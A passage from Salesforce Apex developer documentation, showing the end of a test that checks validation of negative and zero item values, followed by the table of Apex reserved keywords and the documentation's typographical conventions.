insert Order1;
Item__c item1 = new Item__C(Price__c = -10, weight__c = 1, quantity__c = 1,
    Shipping_Invoice__C = order1.id);
Item__c item2 = new Item__C(Price__c = 25, weight__c = -2, quantity__c = 1,
    Shipping_Invoice__C = order1.id);
Item__c item3 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = -1,
    Shipping_Invoice__C = order1.id);
Item__c item4 = new Item__C(Price__c = 40, weight__c = 3, quantity__c = 0,
    Shipping_Invoice__C = order1.id);

try{
    insert item1;
}
catch(Exception e)
{
    system.assert(e.getMessage().contains('Price must be non-negative'),
        'Price was negative but was not caught');
}

try{
    insert item2;
}
catch(Exception e)
{
    system.assert(e.getMessage().contains('Weight must be non-negative'),
        'Weight was negative but was not caught');
}

try{
    insert item3;
}
catch(Exception e)
{
    system.assert(e.getMessage().contains('Quantity must be positive'),
        'Quantity was negative but was not caught');
}

try{
    insert item4;
}
catch(Exception e)
{
    system.assert(e.getMessage().contains('Quantity must be positive'),
        'Quantity was zero but was not caught');
}
}

```

Reserved Keywords

These words can be used only as keywords.

Table 12: Reserved Keywords

abstract	false	package
activate	final	parallel
and	finally	pragma
any	float	private
array	for	protected
as	from	public
asc	global	retrieve
autonomous	goto	return
begin	group	rollback
bigdecimal	having	select
blob	hint	set
boolean	if	short
break	implements	sObject
bulk	import	sort
by	in	static
byte	inner	string
case	insert	super
cast	instanceof	switch
catch	int	synchronized
char	integer	system
class	interface	testmethod
collect	into	then
commit	join	this
const	like	throw
continue	limit	time
currency	list	transaction
date	long	trigger
datetime	loop	true
decimal	map	try
default	merge	undelete
delete	new	update
desc	not	upsert
do	null	using
double	nulls	virtual
else	number	void

end	object	webservice
enum	of	when
exception	on	where
exit	or	while
export	outer	
extends	override	

These words are special types of keywords that aren't reserved words and can be used as identifiers.

- after
- before
- count
- excludes
- first
- includes
- last
- order
- sharing
- with

Documentation Typographical Conventions

Apex and Visualforce documentation uses these typographical conventions.

Convention	Description
Courier font	In descriptions of syntax, a monospace font indicates items that you should type as shown, except for brackets. For example: <pre>Public class HelloWorld</pre>
<i>Italics</i>	In descriptions of syntax, italics represent variables. You supply the actual value. In the following example, three values must be supplied: <i>datatype variable_name [= value]</i>; If the syntax is bold and italic, the text represents a code element that needs a value supplied by you, such as a class name or variable value: <pre>public static class <i>YourClassHere</i> { ... }</pre>
Bold Courier font	In code samples and syntax descriptions, a bold courier font emphasizes a portion of the code or syntax.
< >	In descriptions of syntax, less-than and greater-than symbols (< >) are typed exactly as shown. <pre><apex:pageBlockTable value="{!account.Contacts}" var="contact"></pre>

Convention	Description
	<pre> <apex:column value="{!contact.Name}"/> <apex:column value="{!contact.MailingCity}"/> <apex:column value="{!contact.Phone}"/> </apex:pageBlockTable> </pre>
{ }	In descriptions of syntax, braces ({ }) are typed exactly as shown. <pre> <apex:page> Hello {!\$User.FirstName}! </apex:page> </pre>
[]	In descriptions of syntax, anything included in brackets is optional. In the following example, specifying value is optional: <pre> <i>data_type variable_name</i> [= <i>value</i>]; </pre>
	In descriptions of syntax, the pipe sign means “or”. You can do one of the following (not all). In the following example, you can create a new unpopulated set in one of two ways, or you can populate the set: <pre> Set<<i>data_type</i>> <i>set_name</i> [= new Set<<i>data_type</i>> ();] [= new Set<<i>data_type</i>>{<i>value</i> [, <i>value2</i>. . .] };] ; </pre>